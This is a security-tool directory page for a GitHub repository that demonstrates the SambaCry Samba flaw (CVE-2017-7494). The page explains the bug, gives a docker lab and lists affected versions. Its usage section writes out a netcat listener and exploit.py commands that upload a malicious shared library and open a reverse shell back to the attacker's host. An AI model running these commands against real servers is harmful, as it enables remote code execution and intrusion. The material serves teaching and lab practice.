Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-7494 — SambaCry Explanation and Exploitation Demo | Kitploit
Tools/GitHubGitHub/yonliud/cve-2017-7494
Vulnerability AnalysisExploitationLearning & EducationLabs & Practice
GitHubyonliud/cve-2017-7494

CVE-2017-7494

SambaCry Explanation and Exploitation Demo

View Repository
2327 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SambaCry (CVE-2017-7494) Exploit

CVE-2017-7494/SambaCry allows authenticated users to upload a shared library to a writeable folder, and perform execution attack using the upload libraries.

Vulnerability explanation

SambaCry is a path-validation vulnerability in how Samba handles named-pipe requests. Usually those pipes are used to let programs communicate with each other by reading and writing data through a file-like channel.

When Samba receives an unknown pipe name, vulnerable versions may treat it as the name of a dynamically loadable module. Those modules are usually a legitimate .so libraries installed by the administrator.

The vulnerability allows a client to provide an absolute filesystem path instead of a normal module or pipe name. Samba does not properly restrict this path and may effectively perform: dlopen("/data/example.so", ...);.

Loading a shared library executes its initialization code. Therefore, an attacker who can upload a malicious .so file to a writable location can then make the Samba service load it, resulting in remote code execution.

Demo

https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010

Usage

  1. Initialize a listener:
root@kitploit:~
Download Tool
nc -lvnp 4444
  1. Execute the complete process
root@kitploit:~
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so

To trigger an already uploaded payload:

root@kitploit:~
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
  1. In the listener's terminal. A shell should appear.

Lab Environment

Using the pre-made docker-compose.yml to initialize the vulnerable lab.

root@kitploit:~
docker compose up -d

The lab uses Samba 4.5.9. Which is vulnerable by the vulnerability

Affected versions

3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3